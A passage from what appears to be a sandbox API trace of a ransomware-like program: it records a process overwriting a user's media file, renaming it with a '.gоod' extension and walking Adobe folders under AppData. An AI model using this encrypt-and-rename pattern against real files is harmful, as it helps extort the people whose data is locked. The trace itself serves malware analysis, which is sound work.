lpBuffer=0x368ed48, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204ee1d8, lpOverlapped=0x0 | out: lpBuffer=0x368ed48*, lpNumberOfBytesRead=0x204ee1d8*=0x1000, lpOverlapped=0x0) returned 1 [0225.505] CloseHandle (hObject=0x858) returned 1 [0225.505] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Zy EwOK.mkv", nBufferLength=0x105, lpBuffer=0x204edbe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Zy EwOK.mkv", lpFilePart=0x0) returned 0x2b [0225.506] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee100) returned 1 [0225.506] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Zy EwOK.mkv" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\zy ewok.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0225.506] GetFileType (hFile=0x858) returned 0x1 [0225.506] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee070) returned 1 [0225.506] GetFileType (hFile=0x858) returned 0x1 [0225.506] WriteFile (in: hFile=0x858, lpBuffer=0x3595240*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x204ee288, lpOverlapped=0x0 | out: lpBuffer=0x3595240*, lpNumberOfBytesWritten=0x204ee288*=0x1010, lpOverlapped=0x0) returned 1 [0225.506] CloseHandle (hObject=0x858) returned 1 [0225.506] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Zy EwOK.mkv", nBufferLength=0x105, lpBuffer=0x204edd30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Zy EwOK.mkv", lpFilePart=0x0) returned 0x2b [0225.506] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Zy EwOK.mkv.gоod", nBufferLength=0x105, lpBuffer=0x204edd30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Zy EwOK.mkv.gоod", lpFilePart=0x0) returned 0x30 [0225.506] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee1c0) returned 1 [0225.506] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Zy EwOK.mkv" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\zy ewok.mkv"), fInfoLevelId=0x0, lpFileInformation=0x204ee2a0 | out: lpFileInformation=0x204ee2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f7df2b0, ftCreationTime.dwHighDateTime=0x1d4ce19, ftLastAccessTime.dwLowDateTime=0x3af96ca0, ftLastAccessTime.dwHighDateTime=0x1d4d0e5, ftLastWriteTime.dwLowDateTime=0x829f8c38, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5ed0)) returned 1 [0225.506] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee180) returned 1 [0225.506] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Zy EwOK.mkv" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\zy ewok.mkv"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Zy EwOK.mkv.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\zy ewok.mkv.gоod")) returned 1 [0225.507] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eda20) returned 1 [0225.507] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe", nBufferLength=0x105, lpBuffer=0x204ed4c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe", lpFilePart=0x0) returned 0x25 [0225.507] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\*", lpFindFileData=0x204ed740 | out: lpFindFileData=0x204ed740*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42d40cf2, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x7161656c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7b7983c6, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a9e0 [0225.509] FindNextFileW (in: hFindFile=0x134a9e0, lpFindFileData=0x204ed700 | out: lpFindFileData=0x204ed700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42d40cf2, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x7161656c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7b7983c6, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0225.509] FindNextFileW (in: hFindFile=0x134a9e0, lpFindFileData=0x204ed700 | out: lpFindFileData=0x204ed700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x715a3e1e, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x715a3e1e, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acrobat", cAlternateFileName="")) returned 1 [0225.509] FindNextFileW (in: hFindFile=0x134a9e0, lpFindFileData=0x204ed700 | out: lpFindFileData=0x204ed700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42d40cf2, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xe5380e4e, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe5380e4e, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash Player", cAlternateFileName="FLASHP~1")) returned 1 [0225.510] FindNextFileW (in: hFindFile=0x134a9e0, lpFindFileData=0x204ed700 | out: lpFindFileData=0x204ed700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7161656c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7161656c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7161656c, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Headlights", cAlternateFileName="HEADLI~1")) returned 1 [0225.510] FindNextFileW (in: hFindFile=0x134a9e0, lpFindFileData=0x204ed700 | out: lpFindFileData=0x204ed700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715ca081, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x715ca081, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x715ca081, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Linguistics", cAlternateFileName="LINGUI~1")) returned 1 [0225.510] FindNextFileW (in: hFindFile=0x134a9e0, lpFindFileData=0x204ed700 | out: lpFindFileData=0x204ed700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715ca081, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7894b39b, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7894b39b, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LogTransport2", cAlternateFileName="LOGTRA~1")) returned 1 [0225.510] FindNextFileW (in: hFindFile=0x134a9e0, lpFindFileData=0x204ed700 | out: lpFindFileData=0x204ed700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7b7983c6, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7b7983c6, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7b7983c6, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sonar", cAlternateFileName="")) returned 1 [0225.510] FindNextFileW (in: hFindFile=0x134a9e0, lpFindFileData=0x204ed700 | out: lpFindFileData=0x204ed700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7b7983c6, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7b7983c6, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7b7983c6, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sonar", cAlternateFileName="")) returned 0 [0225.510] FindClose (in: hFindFile=0x134a9e0 | out: hFindFile=0x134a9e0) returned 1 [0225.511] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ed960) returned 1 [0225.511] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ed920) returned 1 [0225.511] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eda20) returned 1 [0225.511] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe", nBufferLength=0x105, lpBuffer=0x204ed4c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe", lpFilePart=0x0) returned 0x25 [0225.511] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\*", lpFindFileData=0x204ed740 | out: lpFindFileData=0x204ed740*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42d40cf2, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x7161656c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7b7983c6, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134abc0 [0225.512] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x204ed700 | out: lpFindFileData=0x204ed700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42d40cf2, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x7161656c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7b7983c6, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0225.512] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x204ed700 | out: lpFindFileData=0x204ed700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x715a3e1e, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x715a3e1e, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acrobat", cAlternateFileName="")) returned 1 [0225.512] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x204ed700 | out: lpFindFileData=0x204ed700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42d40cf2, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xe5380e4e, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe5380e4e, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash Player", cAlternateFileName="FLASHP~1")) returned 1 [0225.513] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x204ed700 | out: lpFindFileData=0x204ed700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7161656c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7161656c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7161656c, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Headlights", cAlternateFileName="HEADLI~1")) returned 1 [0225.513] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x204ed700 | out: lpFindFileData=0x204ed700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715ca081, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x715ca081, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x715ca081, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Linguistics", cAlternateFileName="LINGUI~1")) returned 1 [0225.513] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x204ed700 | out: lpFindFileData=0x204ed700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715ca081, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7894b39b, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7894b39b, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LogTransport2", cAlternateFileName="LOGTRA~1")) returned 1 [0225.513] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x204ed700 | out: lpFindFileData=0x204ed700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7b7983c6, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7b7983c6, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7b7983c6, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sonar", cAlternateFileName="")) returned 1 [0225.513] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x204ed700 | out: lpFindFileData=0x204ed700*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0225.513] FindClose (in: hFindFile=0x134abc0 | out: hFindFile=0x134abc0) returned 1 [0225.514] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ed960) returned 1 [0225.514] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ed920) returned 1 [0225.514] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecff0) returned 1 [0225.514] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat", nBufferLength=0x105, lpBuffer=0x204eca90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat", lpFilePart=0x0) returned 0x2d [0225.514] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\*", lpFindFileData=0x204ecd10 | out: lpFindFileData=0x204ecd10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x715a3e1e, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x715a3e1e, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b280 [0225.515] FindNextFileW (in: hFindFile=0x134b280, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x715a3e1e, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x715a3e1e, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0225.515] FindNextFileW (in: hFindFile=0x134b280, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x5bd69dbd, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5bd69dbd, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DC", cAlternateFileName="")) returned 1 [0225.515] FindNextFileW (in: hFindFile=0x134b280, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x5bd69dbd, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5bd69dbd, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DC", cAlternateFileName="")) returned 0 [0225.516] FindClose (in: hFindFile=0x134b280 | out: hFindFile=0x134b280) returned 1 [0225.516] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecf30) returned 1 [0225.516] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecef0) returned 1 [0225.516] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecff0) returned 1 [0225.516] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat", nBufferLength=0x105, lpBuffer=0x204eca90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat", lpFilePart=0x0) returned 0x2d [0225.516] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\*", lpFindFileData=0x204ecd10 | out: lpFindFileData=0x204ecd10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x715a3e1e, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x715a3e1e, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b3a0 [0225.516] FindNextFileW (in: hFindFile=0x134b3a0, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x715a3e1e, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x715a3e1e, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0225.516] FindNextFileW (in: hFindFile=0x134b3a0, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x5bd69dbd, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5bd69dbd, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DC", cAlternateFileName="")) returned 1 [0225.516] FindNextFileW (in: hFindFile=0x134b3a0, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0225.516] FindClose (in: hFindFile=0x134b3a0 | out: hFindFile=0x134b3a0) returned 1 [0225.516] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecf30) returned 1 [0225.517] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecef0) returned 1 [0225.517] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec5c0) returned 1 [0225.517] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC", nBufferLength=0x105, lpBuffer=0x204ec060, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC", lpFilePart=0x0) returned 0x30 [0225.517] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\*", lpFindFileData=0x204ec2e0 | out: lpFindFileData=0x204ec2e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x5bd69dbd, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5bd69dbd, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b100 [0225.517] FindNextFileW (in: hFindFile=0x134b100, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x5bd69dbd, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5bd69dbd, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0225.517] FindNextFileW (in: hFindFile=0x134b100, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x517e05da, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x517e05da, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x517e05da, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Collab", cAlternateFileName="")) returned 1 [0225.517] FindNextFileW (in: hFindFile=0x134b100, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5163cbb3, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5163cbb3, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5163cbb3, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Forms", cAlternateFileName="")) returned 1 [0225.518] FindNextFileW (in: hFindFile=0x134b100, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b406794, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0xd82b1d84, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xd82b1d84, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="JSCache", cAlternateFileName="")) returned 1 [0225.518] FindNextFileW (in: hFindFile=0x134b100, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5bd69dbd, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5c7194c4, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5c7194c4, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Security", cAlternateFileName="")) returned 1 [0225.518] FindNextFileW (in: hFindFile=0x134b100, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5bd69dbd, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5c7194c4, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5c7194c4, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Security", cAlternateFileName="")) returned 0 [0225.518] FindClose (in: hFindFile=0x134b100 | out: hFindFile=0x134b100) returned 1 [0225.518] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec500) returned 1 [0225.518] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec4c0) returned 1 [0225.518] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec5c0) returned 1 [0225.518] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC", nBufferLength=0x105, lpBuffer=0x204ec060, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC", lpFilePart=0x0) returned 0x30 [0225.518] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\*", lpFindFileData=0x204ec2e0 | out: lpFindFileData=0x204ec2e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x5bd69dbd, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5bd69dbd, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b040 [0225.518] FindNextFileW (in: hFindFile=0x134b040, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x5bd69dbd, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5bd69dbd, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0225.519] FindNextFileW (in: hFindFile=0x134b040, 